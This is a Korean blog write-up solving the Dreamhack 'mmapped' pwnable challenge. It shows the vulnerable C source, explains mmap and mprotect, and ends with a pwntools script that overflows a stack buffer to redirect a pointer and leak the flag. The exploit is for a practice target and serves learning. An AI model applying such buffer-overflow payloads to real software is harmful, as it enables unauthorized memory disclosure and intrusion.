본문 바로가기

System Hacking/Dreamhack

[Dreamachk] mmapped write up

 

포너블 level1 정복 두 번째 문제

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define FLAG_SIZE 0x45

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int main(int argc, char *argv[]) {

    int len;
    char * fake_flag_addr;
    char buf[0x20];
    int fd;
    char * real_flag_addr;

    initialize();

    fd = open("./flag", O_RDONLY);
    len = FLAG_SIZE;
    fake_flag_addr = "DH{****************************************************************}";


    printf("fake flag address: %p\n", fake_flag_addr);
    printf("buf address: %p\n", buf);

    real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);

    printf("real flag address (mmapped address): %p\n", real_flag_addr);
    printf("%s", "input: ");
    read(0, buf, 60);

    mprotect(real_flag_addr, len, PROT_NONE);

    write(1, fake_flag_addr, FLAG_SIZE);
    printf("\nbuf value: ");
    puts(buf);

    munmap(real_flag_addr, FLAG_SIZE);
    close(fd);

    return 0;
}

 

코드 내에 /bin/sh을 실행시킬 만한 함수는 없다. RTL의 냄새가 난다.. 보호기법을 보면

카나리는 없지만 PIE까지 모두 걸려있다. 어차피 카나리는 자동문이라 있으나마나 ㅋㅋ 우선 스택프레임을 그려보자.

 

main stack frame

 

mmap / mprotect / munmap


 

mmap 함수는 인자로 받은 파일을 메모리에 대응 시키는 역할을 한다. 즉 flag파일을 메모리에 매핑 시키고 그 주소를 출력하는 것이다. 

 

다음으로 mprotect는 메모리에 대한 접근을 제어하는 함수이다. 

 

위 함수는 read_flag_addr로 부터 len만큼 접근을 금지시킨다. 

 

munmap은 mmap으로 메모리에 매핑된 파일을 해제하는 함수이다. 

 

read


buf에 입력을 60만큼 받는다. 아쉽게도 fd는 덮지 못한다.. 그러나 write 함수에서 fake_flag_addr에 있는 값을 출력하므로 해당 값을 덮으면 flag를 얻을 수 있을 것 같다.

 

 

exploit

 


먼저 real_flag_addr을 받아오자.

 

 

 

위 사진을 보니 제대로 받아와진 것 같다. 이제 48바이트의 dummy값을 buf에 넣고 fake_flag_addr을 지금 받아온 주소로 덮으면된다.

 

from pwn import *

p = remote('host3.dreamhack.games', 12628)

p.recvuntil(b'(mmapped address): ')

real_flag_addr = int(p.recvn(14), 16)

print(p64(real_flag_addr))

payload = b'A'*48
payload += p64(real_flag_addr)

p.sendafter(b'input: ', payload)

p.interactive()

 

gg RTL은 아니었따.

'System Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Cherry write up  (0) 2024.03.30